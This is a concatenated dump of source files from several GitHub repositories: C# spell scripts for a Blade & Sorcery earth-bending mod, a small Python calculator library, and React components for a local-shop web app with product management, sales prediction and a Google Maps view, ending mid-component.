rock.transform.position = Vector3.MoveTowards(rock.transform.position, hit.point + new Vector3(0, ((Player.currentCreature.ragdoll.headPart.transform.position.y - hit.point.y) / rockHeightFromGround) + 0.05f, 0), Time.deltaTime * rockMoveSpeed);
yield return new WaitForEndOfFrame();
}
foreach (ColliderGroup colliderGroup in rock.colliderGroups)
{
foreach (Collider collider in colliderGroup.colliders)
{
collider.enabled = true;
}
}
rock.rb.velocity = Vector3.zero;
float startTime = Time.time;
rock.rb.angularVelocity = UnityEngine.Random.insideUnitSphere * 2;
rock.colliderGroups[0].collisionHandler.OnCollisionStartEvent += Rock_OnDamageReceivedEvent;
while (Time.time - startTime < rockFreezeTime)
{
if (pushCalled)
{
EffectInstance effectInstance = pushEffectData.Spawn(rock.transform.position, Quaternion.identity);
effectInstance.Play();
rock.rb.AddForce((leftVel.normalized + rightVel.normalized) * pushForce * rockForceMul, ForceMode.Impulse);
break;
}
yield return new WaitForEndOfFrame();
}
rock.rb.useGravity = true;
rock.colliderGroups[0].collisionHandler.OnCollisionStartEvent -= Rock_OnDamageReceivedEvent;
yield return null;
}
private void Rock_OnDamageReceivedEvent(CollisionInstance collisionStruct)
{
Debug.Log("Rock on damage");
if (collisionStruct.impactVelocity.magnitude > 1)
{
bool l_leftS = (collisionStruct.sourceColliderGroup == Player.currentCreature.handLeft.colliderGroup);
bool l_leftT = (collisionStruct.targetColliderGroup == Player.currentCreature.handLeft.colliderGroup);
bool l_rightS = (collisionStruct.sourceColliderGroup == Player.currentCreature.handRight.colliderGroup);
bool l_rightT = (collisionStruct.targetColliderGroup == Player.currentCreature.handRight.colliderGroup);
Item ownItem = null;
Collider hitCol = null;
Vector3 forceVec = Vector3.zero;
if (l_leftS || l_rightS)
{
ownItem = collisionStruct.targetCollider.GetComponentInParent<Item>();
hitCol = collisionStruct.targetCollider;
}
if (l_leftT || l_rightT)
{
ownItem = collisionStruct.sourceCollider.GetComponentInParent<Item>();
hitCol = collisionStruct.sourceCollider;
}
if (ownItem == null)
return;
ownItem.rb.useGravity = true;
EffectInstance effectInstance = Catalog.GetData<EffectData>(punchEffectId, true).Spawn(ownItem.transform.position, Quaternion.identity);
effectInstance.Play();
if (l_leftS || l_leftT)
{
forceVec = AimAssist(ownItem.transform.position, leftVel.normalized, punchAimPrecision, punchAimRandomness);
}
if (l_rightS || l_rightT)
{
forceVec = AimAssist(ownItem.transform.position, rightVel.normalized, punchAimPrecision, punchAimRandomness);
}
hitCol.attachedRigidbody.AddForce(forceVec * punchForce, ForceMode.Impulse);
}
}
private Vector3 AimAssist(Vector3 ownPosition, Vector3 ownDirection, float aimPrecision, float randomness)
{
Creature toHit = null;
float closest = -1;
Vector3 dirS = Vector3.zero;
foreach (Creature creature in Creature.allActive)
{
if (creature != Player.currentCreature && !creature.isKilled)
{
Vector3 dir = (creature.ragdoll.GetPart(RagdollPart.Type.Head).transform.position - ownPosition).normalized;
if (Vector3.Dot(ownDirection, dir) > aimPrecision)
{
if (Vector3.Dot(ownDirection, dir) > closest)
{
closest = Vector3.Dot(ownDirection, dir);
toHit = creature;
dirS = dir;
}
}
}
}
if (toHit != null)
{
Vector3 rand = UnityEngine.Random.insideUnitSphere * randomness;
return (dirS + rand).normalized;
} else
{
return ownDirection;
}
}
}
public class RockPillarCollision : MonoBehaviour
{
public EffectData effectData;
private void OnCollisionEnter(Collision col)
{
EffectInstance hitEffect = effectData.Spawn(col.contacts[0].point, Quaternion.identity);
hitEffect.Play();
if (col.collider.GetComponentInParent<Creature>())
{
Creature creature = col.collider.GetComponentInParent<Creature>();
if (creature != Player.currentCreature)
{
if (!creature.isKilled)
{
CollisionInstance collisionStruct = new CollisionInstance(new DamageStruct(DamageType.Energy, 20.0f));
creature.Damage(collisionStruct);
}
}
}
Destroy(this);
}
}
}
<file_sep>/EarthBendingSpell/EarthGravMerge.cs
using System;
using System.Collections.Generic;
using System.Collections;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using UnityEngine;
using ThunderRoad;
using System.Runtime.CompilerServices;
using UnityEngine.PlayerLoop;
namespace EarthBendingSpell
{
class EarthGravMerge : SpellMergeData
{
public string bubbleEffectId;
public float bubbleMinCharge;
public float rockExplosionRadius;
public float rockExplosionForce;
public string portalEffectId;
public string rockCollisionEffectId;
private EffectData bubbleEffectData;
private EffectData portalEffectData;
private EffectData rockCollisionEffectData;
public override void OnCatalogRefresh()
{
base.OnCatalogRefresh();
bubbleEffectData = Catalog.GetData<EffectData>(bubbleEffectId, true);
portalEffectData = Catalog.GetData<EffectData>(portalEffectId, true);
rockCollisionEffectData = Catalog.GetData<EffectData>(rockCollisionEffectId, true);
}
public override void Merge(bool active)
{
base.Merge(active);
if (active)
{
return;
}
Vector3 from = Player.local.transform.rotation * PlayerControl.GetHand(Side.Left).GetHandVelocity();
Vector3 from2 = Player.local.transform.rotation * PlayerControl.GetHand(Side.Right).GetHandVelocity();
if (from.magnitude > SpellCaster.throwMinHandVelocity && from2.magnitude > SpellCaster.throwMinHandVelocity)
{
if (Vector3.Angle(from, mana.casterLeft.magicSource.position - mana.mergePoint.position) < 45f || Vector3.Angle(from2, mana.casterRight.magicSource.position - mana.mergePoint.position) < 45f)
{
if (currentCharge > bubbleMinCharge && !EarthBendingController.GravActive)
{
EarthBendingController.GravActive = true;
mana.StartCoroutine(BubbleCoroutine());
currentCharge = 0;
}
}
}
}
public IEnumerator BubbleCoroutine()
{
Vector3 centerPoint = mana.mergePoint.transform.position;
EffectInstance bubbleEffect = null;
bubbleEffect = bubbleEffectData.Spawn(centerPoint, Quaternion.identity);
bubbleEffect.SetIntensity(0f);
bubbleEffect.Play(0);
ParticleSystem parentParticleSystem = bubbleEffect.effects[0].gameObject.GetComponent<ParticleSystem>();
foreach (ParticleSystem particleSystem in parentParticleSystem.gameObject.GetComponentsInChildren<ParticleSystem>())
{
if (particleSystem.gameObject.name == "Portal")
{
float startDelay = particleSystem.main.startDelay.constant;
Player.currentCreature.mana.StartCoroutine(PlayEffectSound(startDelay, portalEffectData, particleSystem.transform.position, 3f));
}
if (particleSystem.gameObject.name == "Rock")
{
RockCollision scr = particleSystem.gameObject.AddComponent<RockCollision>();
scr.rockCollisionEffectData = rockCollisionEffectData;
scr.rockExplosionForce = rockExplosionForce;
scr.rockExplosionRadius = rockExplosionRadius;
scr.part = particleSystem;
}
}
yield return new WaitForSeconds(4.5f);
bubbleEffect.Stop();
EarthBendingController.GravActive = false;
}
public IEnumerator PlayEffectSound(float delay, EffectData effectData, Vector3 position, float despawnDelay = 0)
{
yield return new WaitForSeconds(delay);
EffectInstance effectInstance = effectData.Spawn(position, Quaternion.identity);
effectInstance.Play();
if (despawnDelay != 0)
{
yield return new WaitForSeconds(despawnDelay);
effectInstance.Stop();
}
}
}
public class RockCollision : MonoBehaviour
{
public EffectData rockCollisionEffectData;
public ParticleSystem part;
public List<ParticleCollisionEvent> collisionEvents = new List<ParticleCollisionEvent>();
public float rockExplosionRadius;
public float rockExplosionForce;
private void OnParticleCollision(GameObject other)
{
int numCollisionEvents = part.GetCollisionEvents(other, collisionEvents);
foreach (ParticleCollisionEvent particleCollisionEvent in collisionEvents)
{
EffectInstance effectInstance = rockCollisionEffectData.Spawn(particleCollisionEvent.intersection, Quaternion.identity);
effectInstance.Play();
foreach (Collider collider in Physics.OverlapSphere(particleCollisionEvent.intersection, rockExplosionRadius))
{
if (collider.attachedRigidbody)
{
if (collider.GetComponentInParent<Creature>())
{
Creature creature = collider.GetComponentInParent<Creature>();
if (creature != Player.currentCreature)
{
if (creature.state == Creature.State.Alive)
{
creature.ragdoll.SetState(Ragdoll.State.Destabilized);
}
StartCoroutine(AddForceCoroutine(collider.attachedRigidbody, particleCollisionEvent.intersection));
}
} else if (collider.GetComponentInParent<Item>())
{
Item item = collider.GetComponentInParent<Item>();
if (item.mainHandler)
{
if (item.mainHandler.creature != Player.currentCreature)
{
StartCoroutine(AddForceCoroutine(collider.attachedRigidbody, particleCollisionEvent.intersection));
}
}
}
}
}
}
IEnumerator AddForceCoroutine(Rigidbody rb, Vector3 expPos)
{
yield return new WaitForEndOfFrame();
rb.AddExplosionForce(rockExplosionForce, expPos, rockExplosionForce, 1f, ForceMode.Impulse);
}
}
}
}
<file_sep>/EarthBendingSpell/EarthFireMerge.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using UnityEngine;
using ThunderRoad;
namespace EarthBendingSpell
{
class EarthFireMerge : SpellMergeData
{
public string bulletEffectId;
public float bulletMinCharge;
public string bulletCollisionEffectId;
private EffectData bulletEffectData;
private EffectData bulletCollisionEffectData;
private EffectInstance bulletInstance;
private GameObject rotatingMergePoint;
public override void OnCatalogRefresh()
{
base.OnCatalogRefresh();
bulletEffectData = Catalog.GetData<EffectData>(bulletEffectId);
bulletCollisionEffectData = Catalog.GetData<EffectData>(bulletCollisionEffectId);
}
public override void Merge(bool active)
{
base.Merge(active);
if (!active)
{
currentCharge = 0f;
if (bulletInstance != null)
{
bulletInstance.Despawn();
bulletInstance = null;
}
}
}
public override void Update()
{
base.Update();
if (currentCharge > bulletMinCharge)
{
if (bulletInstance == null)
{
SpawnBulletInstance();
}
} else
{
if (bulletInstance != null)
{
bulletInstance.Despawn();
bulletInstance = null;
}
if (rotatingMergePoint != null)
{
GameObject.Destroy(rotatingMergePoint);
}
}
if (rotatingMergePoint != null)
{
rotatingMergePoint.transform.rotation = Quaternion.LookRotation((mana.casterLeft.magic.transform.up + mana.casterRight.magic.transform.up));
rotatingMergePoint.transform.position = Vector3.Lerp(mana.casterLeft.magic.transform.position, mana.casterRight.magic.transform.position, 0.5f);
}
}
private void SpawnBulletInstance()
{
rotatingMergePoint = new GameObject("rotmpoint");
bulletInstance = bulletEffectData.Spawn(rotatingMergePoint.transform);
bulletInstance.Play();
bulletInstance.SetIntensity(1f);
foreach (ParticleSystem child in bulletInstance.effects[0].GetComponentsInChildren<ParticleSystem>())
{
if (child.gameObject.name == "Bullets")
{
BulletCollisionClass scr = child.gameObject.AddComponent<BulletCollisionClass>();
scr.part = child;
scr.bulletColData = bulletCollisionEffectData;
}
}
}
}
public class SomeParticleCollisionDetectorClass : MonoBehaviour
{
public List<ParticleCollisionEvent> collisionEvents = new List<ParticleCollisionEvent>();
private void OnParticleCollision(GameObject other)
{
foreach (ParticleCollisionEvent pE in collisionEvents)
{
foreach (Collider collider in Physics.OverlapSphere(pE.intersection, .2f))
{
if (collider.attachedRigidbody)
{
if (collider.GetComponentInParent<Creature>())
{
Creature creature = collider.GetComponentInParent<Creature>();
creature.brain.instance.GetModule<BrainModuleSpeak>(false).Play("death", true);
if (creature != Player.currentCreature)
{
if (creature.state != Creature.State.Dead)
{
CollisionInstance collisionStruct = new CollisionInstance(new DamageStruct(DamageType.Pierce, 0.5f));
creature.Damage(collisionStruct);
}
}
}
}
}
}
}
}
public class BulletCollisionClass : MonoBehaviour
{
public ParticleSystem part;
public List<ParticleCollisionEvent> collisionEvents = new List<ParticleCollisionEvent>();
public EffectData bulletColData;
private void OnParticleCollision(GameObject other)
{
int numCollisionEvents = part.GetCollisionEvents(other, collisionEvents);
foreach (ParticleCollisionEvent pE in collisionEvents)
{
bulletColData.Spawn(pE.intersection, Quaternion.identity).Play();
foreach (Collider collider in Physics.OverlapSphere(pE.intersection, .2f))
{
if (collider.attachedRigidbody)
{
if (collider.GetComponentInParent<Creature>())
{
Creature creature = collider.GetComponentInParent<Creature>();
if (creature != Player.currentCreature)
{
if (creature.state != Creature.State.Dead)
{
creature.TryElectrocute(10, 12, true, false);
CollisionInstance collisionStruct = new CollisionInstance(new DamageStruct(DamageType.Pierce, 0.5f));
creature.Damage(collisionStruct);
}
}
else
{
continue;
}
}
}
}
}
}
}
}
<file_sep>/EarthBendingSpell/EarthIceMerge.cs
using System;
using System.Collections.Generic;
using System.Collections;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using ThunderRoad;
using UnityEngine;
namespace EarthBendingSpell
{
class EarthIceMerge : SpellMergeData
{
public float frostMinCharge;
public string frostEffectId;
public float frostRadius;
public float frozenDuration;
public string frozenEffectId;
private EffectData frostEffectData;
private EffectData frozenEffectData;
public override void OnCatalogRefresh()
{
base.OnCatalogRefresh();
frostEffectData = Catalog.GetData<EffectData>(frostEffectId);
frozenEffectData = Catalog.GetData<EffectData>(frozenEffectId);
}
public override void Merge(bool active)
{
base.Merge(active);
if (active)
{
return;
}
Vector3 from = Player.local.transform.rotation * PlayerControl.GetHand(Side.Left).GetHandVelocity();
Vector3 from2 = Player.local.transform.rotation * PlayerControl.GetHand(Side.Right).GetHandVelocity();
if (from.magnitude > SpellCaster.throwMinHandVelocity && from2.magnitude > SpellCaster.throwMinHandVelocity)
{
if (Vector3.Angle(from, mana.casterLeft.magicSource.position - mana.mergePoint.position) < 45f || Vector3.Angle(from2, mana.casterRight.magicSource.position - mana.mergePoint.position) < 45f)
{
if (currentCharge > frostMinCharge && !EarthBendingController.IceActive)
{
EarthBendingController.IceActive = true;
mana.StartCoroutine(IceSpikesCoroutine());
currentCharge = 0;
}
}
}
}
IEnumerator IceSpikesCoroutine()
{
Vector3 pos = Player.currentCreature.transform.position;
EffectInstance frostEffectInstance= frostEffectData.Spawn(pos, Quaternion.identity);
frostEffectInstance.Play();
foreach (Creature creature in Creature.allActive)
{
if (creature != Player.currentCreature && !creature.isKilled)
{
float dist = Vector3.Distance(creature.transform.position, pos);
if (dist < frostRadius)
{
mana.StartCoroutine(FreezeCreature(creature, frozenDuration));
}
}
}
yield return new WaitForSeconds(6f);
//stop
frostEffectInstance.Stop();
EarthBendingController.IceActive = false;
}
IEnumerator FreezeCreature(Creature targetCreature, float duration)
{
EffectInstance effectInstance = frozenEffectData.Spawn(targetCreature.transform.position, Quaternion.identity, targetCreature.transform);
effectInstance.Play();
targetCreature.animator.speed = 0;
targetCreature.locomotion.SetSpeedModifier(this, 0, 0, 0, 0, 0);
targetCreature.brain.Stop();
yield return new WaitForSeconds(duration);
if (!targetCreature.isKilled)
{
targetCreature.ragdoll.SetState(Ragdoll.State.Destabilized);
targetCreature.animator.speed = 1;
targetCreature.locomotion.ClearSpeedModifiers();
targetCreature.brain.Load(targetCreature.brain.instance.id);
}
effectInstance.Despawn();
}
/*
IEnumerator FreezeCreature(Creature targetCreature, float duration)
{
//
EffectInstance effectInstance = frozenEffectData.Spawn(targetCreature.ragdoll.hipsPart.transform, true, Array.Empty<Type>());
effectInstance.SetRenderer(targetCreature.bodyMeshRenderer, false);
effectInstance.Play(0);
effectInstance.SetIntensity(1f);
//
//targetCreature.StopBrain();
targetCreature.animator.speed = 0;
targetCreature.locomotion.speed = 0;
yield return new WaitForSeconds(0.1f);
EffectInstance effectInstance = frozenEffectData.Spawn(targetCreature.transform.position, Quaternion.identity);
effectInstance.Play();
Animator animator = effectInstance.effects[0].GetComponentInChildren<Animator>();
yield return new WaitForSeconds(duration);
CollisionInstance collisionStruct = new CollisionInstance(new DamageStruct(DamageType.Energy, 20.0f));
targetCreature.Damage(collisionStruct);
targetCreature.animator.speed = 1;
targetCreature.locomotion.speed = targetCreature.data.locomotionSpeed;
if (!targetCreature.isKilled && !targetCreature.brain.instance.isActive)
{
//targetCreature.StartBrain();
}
animator.SetBool("Play", true);
yield return new WaitForSeconds(5f);
effectInstance.Despawn();
}*/
}
}
| 992ac0a6a68dfbdf7669cfe8e01040f480a81e35 | [
"C#"
] | 5 | C# | DavidHulstroem/EarthBendingSpell | 6f120bda4f3d37419cad2f53c20d0fc5ea382e0b | ea0979a0f187cd72a09fe6c3fa8d1fceea902310 |
refs/heads/main | <repo_name>mnooel/CalculatorLibrary<file_sep>/README.md
# CalculatorLibrary
test project to explore continuous integration pipline
<file_sep>/calculator.py
"""
Calculator library containing basic math operations.
"""
def add(first_term: int or float,
second_term: int or float) -> int or float:
return first_term + second_term
def subtract(first_term: int or float,
second_term: int or float) -> int or float:
return first_term - second_term
def multiply(first_term: int or float,
second_term: int or float) -> int or float:
return first_term * second_term
def divide(first_term: int or float,
second_term: int or float) -> int or float:
return first_term / second_term
| 1563172444f9998117978dacdc31115bd945ed6d | [
"Markdown",
"Python"
] | 2 | Markdown | mnooel/CalculatorLibrary | 2fcffc17aa704aafbcfb1f3154be71517a2fffad | 5cb4fc42442dc0072d94ce8ad1a01e413b25baa9 |
refs/heads/master | <file_sep>import React, { useState, useEffect } from 'react'
import Auxil from '../../hoc/Auxil/Auxil'
import classes from './ManProd.module.scss'
//import firebase from './node_modules/firebase'
import Spinner from '../UI/Spinner/Spinner'
import Button from '@material-ui/core/Button';
import Snackbar from '@material-ui/core/Snackbar';
import SnackbarContent from '@material-ui/core/SnackbarContent';
import DialogTitle from '@material-ui/core/DialogTitle';
import Dialog from '@material-ui/core/Dialog';
import Backdrop from '../UI/Backdrop/Backdrop'
import deleteIcon from '../../assets/icons/deleteIcon.svg'
import firebase from 'firebase'
import axios from 'axios'
//import console = require('console');
const ManProd = (props) => {
const [pComp,updComp]=useState((<Spinner/>))
const [loadComp, upLoadcomp]=useState(null)
const [diagComp, upDiag]=useState(null)
const [snComp, upSnk]=useState(null)
//let usrLoc = null
const userId = localStorage.getItem('userId');
let compList = []
const predictSales = (event, viewVal) => {
console.log(viewVal)
let headers = {
'Content-Type': 'text/plain'
}
axios.post('https://salespredict.herokuapp.com/predict',{'chk':viewVal},{headers: headers})
.then(res => {
const strLen = res.data.y_pred.length
const resNo = res.data.y_pred.substring(1, strLen-1);
console.log(resNo)
alert("Predicted Sales : "+resNo)
upLoadcomp(false)
})
}
const togStock = (event, prId, inSt) => {
let inewSt=inSt+1
console.log(inewSt)
inewSt=inewSt%3;
console.log(inewSt)
const srchRef = firebase.firestore().collection("products").doc(prId)
srchRef.update({
isInStock: inewSt
})
upLoadcomp(false)
}
const delProd = (event, prId) => {
// event.preventDefault();
const db = firebase.firestore();
let deleteDoc = db.collection('products').doc(prId).delete()
.then(event => {
props.history.push({
pathname: "/ManProd"
});
})
}
useEffect(()=>{
// navigator.geolocation.getCurrentPosition(position => {
// console.log(position)
// usrLoc={lat:position.coords.latitude, lng:position.coords.longitude}
// })
const db = firebase.firestore();
const srchRef = db.collection("products");
const srchRes = srchRef.where("sellerId", "==", userId)
srchRes.onSnapshot(function(snapshot) {
updComp(<Spinner/>)
compList = []
snapshot.forEach(function(childSnapshot) {
var childData = childSnapshot.data();
compList.push(childData)
console.log(compList)
});
if(compList[0] == null){
updComp(<p>No results</p>)
}else{
updComp(compList.map(proData => (
<div key={proData.id}>
<div className={classes.ProdSingleView}>
<img src={proData.imageSrc} alt={proData.imgAlt} className={classes.img}/>
<div className={classes.content}>
<h2><strong>{proData.brand}{" "}{proData.name}</strong></h2>
<p>Rating: {(proData.ratingVals.ratingValue).toFixed(1)}</p>
<p><strong>{proData.price}</strong></p>
<p>Views: {proData.views}</p>
</div>
<div className={classes.predict}>
<div className={classes.ostock}>
<Button
onClick={event => {
upLoadcomp(true)
togStock(event, proData.id,proData.isInStock)
}}
className={classes.Button}>{proData.isInStock===2? "Out of stock" : proData.isInStock===0? "Few Left" : "In stock" }</Button>
</div>
<div className={classes.sales}>
<Button
onClick={event => {
upLoadcomp(true)
predictSales(event, proData.views)
}}
className={classes.Button}>Predict Sales</Button>
</div>
</div>
<div className={classes.Delete}>
<Button onClick={event => delProd(event, proData.id)}><img src={deleteIcon} className={classes.Home} alt= "alt" /></Button>
</div>
{/* <p>Views: {proData.views}</p> */}
</div>
</div>
)))
}
})
},[updComp])
return(
<Auxil>
<div className={classes.page}>
{loadComp? <Backdrop show={true} />:null}
<div className={classes.FeedSpecProdList}>
{pComp}
</div>
</div>
</Auxil>
)
}
export default ManProd<file_sep>import React, { useState, useEffect } from "react";
import { Map, GoogleApiWrapper, InfoWindow, Marker } from "google-maps-react";
import Auxil from "../../hoc/Auxil/Auxil";
import homeIcon from '../../assets/icons/homeLoc3.png'
import Layout from "../../hoc/Layout/Layout";
import classes from "./Geo.module.css";
import { mapKey } from '../../keys/keyStore'
//import MapViewDirections from "react-native-maps-directions";
const GeoF = (props) => {
const [streetViewControl, upStrtView] = useState(false)
const [showingInfoWindow, upShowInfo] = useState(false)
const [activeMarker, upActivM] = useState({})
const [selectedPlace, upSelectP] = useState({})
const [usrLoc, upUsrLoc] = useState({usrLat : 9.318226,usrLng : 76.613996})
const [mapComp, upMap] = useState(<div className={classes.mapPlace}>
<p>Please Turn on Geolocation Services</p>
<p> to enable LIVE MAP</p>
</div>)
let usL = {usrLat : 9.318226,usrLng : 76.613996}
// const [mrkrs, upMrkrs] = useState(null)
// componentDidUpdate(prevProps) {
// console.log(prevProps.locArray)
// console.log(this.props.locArray)
// if (this.props.locArray !== prevProps.locArray) {
// this.updateMap();
// }
// }
// updateMap = () => {
// const mapCompo = (<Map google={props.google}
// style={{width: '60%', height: '60%', position: 'relative'}}
// className={'map'}
// zoom={14}
// initialCenter={{
// lat: usrLat,
// lng: usrLng
// }}>
// {this.state.mrkrs}
// <InfoWindow
// marker={activeMarker}
// visible={showingInfoWindow}
// onClose={onClose}>
// <div>
// <h4>{this.state.selectedPlace.name}</h4>
// </div>
// </InfoWindow>
// </Map>)
// upMap(mapCompo)
// }
const onMarkerClick = (props, marker, e) => {
console.log(props)
console.log(marker)
upSelectP(props)
upActivM(marker)
upShowInfo(true)
}
const onClose = props => {
if (showingInfoWindow) {
upShowInfo(false)
upActivM(null)
}
};
// useEffect(()=>{
// },[])
useEffect(()=>{
// navigator.geolocation.getCurrentPosition(position => {
// //console.log(position)
// upUsrLoc({usrLat: position.coords.latitude, usrLng: position.coords.longitude})
// })
navigator.geolocation.getCurrentPosition(position => {
usL = {usrLat: position.coords.latitude, usrLng: position.coords.longitude}
const locArray = props.locArray
const mrkrs = (locArray.map(locat => (
<Marker onClick={onMarkerClick} name={locat.name} position={locat.pos}/>
)))
const mapCompo = (<Map google={props.google}
style={{width: '80%', height: '60%', position: 'relative', margin:'10px auto'}}
className={'map'}
zoom={14}
initialCenter={{
lat: usL.usrLat,
lng: usL.usrLng
}}>
<Marker
onClick={onMarkerClick} name={"You are here"}
position={{lat:usL.usrLat, lng:usL.usrLng}}
icon={{
url: homeIcon
}} />
{mrkrs}
<InfoWindow
marker={activeMarker}
visible={showingInfoWindow}
onClose={onClose}>
<div>
<h4>{selectedPlace.name}</h4>
</div>
</InfoWindow>
</Map>)
upMap(mapCompo)
})
},[props, activeMarker])
// const locArray = this.props.locArray
// console.log(locArray)
// const mrkrs = (locArray.map(locat => (
// <Marker onClick={this.onMarkerClick} name={locat.name} position={locat.pos}/>
// )))
return (
<Auxil className={classes.Geo}>
{/* <Map google={this.props.google}
style={{width: '60%', height: '60%', position: 'relative'}}
className={'map'}
zoom={14}
initialCenter={{
lat: this.state.usrLat,
lng: this.state.usrLng
}}>
{mrkrs}
<InfoWindow
marker={this.state.activeMarker}
visible={this.state.showingInfoWindow}
onClose={this.onClose}>
<div>
<h4>{this.state.selectedPlace.name}</h4>
</div>
</InfoWindow>
</Map> */}
{mapComp}
</Auxil>
);
}
export default GoogleApiWrapper({
apiKey: process.env.REACT_APP_GOOGLE_MAPS_KEY
})(GeoF);
<file_sep>import React, { Component } from 'react';
import firebase from 'firebase'
import { withRouter } from "react-router";
import { connect } from 'react-redux';
import { Redirect } from 'react-router-dom';
import Button from '../UI/Button/Button'
import Input from '../UI/Input/Input'
import classes from './AddProd.module.css'
class AddProd extends Component {
state = {
prodDet:{
ProdName: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: 'Name'
},
value: '',
validation: {
required: true,
},
valid: true,
touched: false
},
ProdPrice: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: 'Price'
},
value: '',
validation: {
required: true,
},
valid: true,
touched: false
},
ProdCategory: {
elementType: 'select',
elementConfig: {
options: [
{value: 'electronics', displayValue:'Electronics'},
{value: 'fashion', displayValue:'Fashion'},
{value: 'grocery', displayValue:'Grocery'},
{value: 'household', displayValue:'Household'},
{value: 'other', displayValue:'Other'}
]
},
value: 'electronics',
validation: {},
valid: true
},
BrandName: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: 'Brand'
},
value: '',
validation: {
required: true,
},
valid: true,
touched: false
},
ProdContent: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: 'Description'
},
value: '',
validation: {
required: false,
},
valid: true,
touched: false
},
ProdImageLink: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: 'Image Link'
},
value: '',
validation: {
required: true,
},
valid: true,
touched: false
},
ProdTags: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: 'Tags (seperate using , )'
},
value: '',
validation: {
required: true,
},
valid: true,
touched: false
}
}
}
inputChangedHandler = ( event, controlName ) => {
const updatedControls = {
...this.state.prodDet,
[controlName]: {
...this.state.prodDet[controlName],
value: event.target.value,
touched: true
}
};
this.setState( { prodDet: updatedControls } );
}
submitHandler = ( event ) => {
event.preventDefault();
const db = firebase.firestore();
const usId = localStorage.getItem('userId');
let proTag = this.state.prodDet.ProdTags.value
proTag.trim()
const proTagArray = proTag.split(',')
const dataNew = {
name: this.state.prodDet.ProdName.value,
brand: this.state.prodDet.BrandName.value,
price: this.state.prodDet.ProdPrice.value,
category: this.state.prodDet.ProdCategory.value,
content: this.state.prodDet.ProdContent.value,
imageSrc: this.state.prodDet.ProdImageLink.value,
imgAlt: "Image",
tags: proTagArray,
sellerId: usId,
ratingVals: {
noOfRating: 0,
ratingValue: 0
},
custRatings: [],
views: 0,
isInStock: 0
}
db.collection("products").add(dataNew)
.then(function(docRef) {
db.collection("products").doc(docRef.id).update({id:docRef.id});
})
this.props.history.push({
pathname: "/",
});
}
render() {
const formElementsArray = [];
for ( let key in this.state.prodDet ) {
formElementsArray.push( {
id: key,
config: this.state.prodDet[key]
} );
}
let form = formElementsArray.map( formElement => (
<Input
key={formElement.id}
elementType={formElement.config.elementType}
elementConfig={formElement.config.elementConfig}
value={formElement.config.value}
invalid={!formElement.config.valid}
shouldValidate={formElement.config.validation}
touched={formElement.config.touched}
changed={( event ) => this.inputChangedHandler( event, formElement.id, this.state.controls )} />
) );
return(
<div className={classes.AddProd}>
<form onSubmit={this.submitHandler}>
{form}
<Button className={classes.Submit} btnType="Success">SUBMIT</Button>
</form>
</div>
)
}
}
const mapStateToProps = state => {
return {
//loading: state.auth.loading,
//error: state.auth.error,
isAuthenticated: state.auth.token !== null,
// buildingBurger: state.burgerBuilder.building,
//authRedirectPath: state.auth.authRedirectPath
};
};
export default withRouter(connect( mapStateToProps )( AddProd ));<file_sep>import React, { useState, useEffect } from 'react'
import Auxil from '../../../hoc/Auxil/Auxil'
import FeedProd from '../feedProd/FeedProd'
import classes from './FeedSpecProd.module.css'
//import firebase from './node_modules/firebase'
import Spinner from '../../UI/Spinner/Spinner'
import GeoF from '../../Map/GeoF'
import firebase from 'firebase'
//import console = require('console');
const FeedSpecProd = (props) => {
const [pComp,updComp]=useState((<Spinner/>))
const [mapComp, upMap]=useState(<Spinner/>)
const [locatArray, upLocat] = useState([{pos:{lat : 9.318226, lng : 76.613996},name:"Default"}])
let mapCompo = <Spinner/>
//let usrLoc = null
const selArray = []
const locArray = []
const query = new URLSearchParams(props.location.search)
let queryLis = []
for(let param of query.entries()){
queryLis.push(param)
}
const compList = []
const showSpecProd = (proDet) =>{
console.log("clicked")
console.log(proDet)
const queryPar = encodeURIComponent(proDet);
props.history.push({
pathname: "/ProdView",
search: "?" + queryPar
});
}
useEffect(()=>{
// navigator.geolocation.getCurrentPosition(position => {
// console.log(position)
// usrLoc={lat:position.coords.latitude, lng:position.coords.longitude}
// })
const db = firebase.firestore();
const srchRef = db.collection("products");
const srchRes = srchRef.where("tags", "array-contains", queryLis[0][0])
srchRes.onSnapshot(function(snapshot) {
snapshot.forEach(function(childSnapshot) {
var childData = childSnapshot.data();
compList.push(childData)
// console.log(compList)
});
compList.map(selScrap => {
selArray.push(selScrap.sellerId)
})
selArray.map(locScrap => {
const locRef = db.collection("shop");
const locRes = locRef.where('userId','==',locScrap)
locRes.onSnapshot(sapshot => {
sapshot.forEach(function(chldSapshot) {
var chldData = chldSapshot.data();
locArray.push({pos: chldData.loc, name: chldData.name})
// console.log(locArray)
});
//console.log(selArray)
//console.log(locArray)
//upLocat(locArray)
upMap(<GeoF locArray={locArray}/>)
})
// locRes.onSnapshot(function(sapshot){
// sapshot.forEach(function(chldSapshot) {
// var chldData = chldSapshot.data();
// locArray.push({pos: chldData.loc, name: chldData.name})
// });
// })
})
// mapCompo=(<Geo locArray={locArray}/>)
if(compList[0] == null){
updComp(<p>No results</p>)
upMap(null)
}
else{
updComp(compList.map(indProd => (
<div key={indProd.id} onClick={event => showSpecProd(indProd.id)}>
<FeedProd
name={indProd.name}
content={indProd.content}
price={indProd.price}
imageSrc={indProd.imageSrc}
imgAlt={indProd.imgAlt}
isInStock={indProd.isInStock}
ratVal={indProd.ratingVals.ratingValue.toFixed(1)}
/>
</div>
)))
}
})
// const rootRef = firebase.database().ref()
// const srchRef = rootRef.child('Products').orderByChild('name').equalTo(queryLis[0][0])
// srchRef.once('value', function(snapshot) {
// snapshot.forEach(function(childSnapshot) {
// var childKey = childSnapshot.key;
// var childData = childSnapshot.val();
// compList.push(childData)
// });
// updComp(compList.map(indProd => (
// <div key={indProd.id}>
// <FeedProd
// name={indProd.name}
// content={indProd.content}
// price={indProd.price}
// imageSrc={indProd.imageSrc}
// imgAlt={indProd.imgAlt}
// />
// </div>
// )))
// })
},[updComp, props.location.search])
// useEffect(()=>{
// console.log("update")
// upMap(<Geo locArray={locArray}/>)
// },[locatArray])
return(
<Auxil>
<div className={classes.page}>
{/* <Geo locArray={locArray}/> */}
<div className={classes.mapDiv}>
{mapComp}
</div>
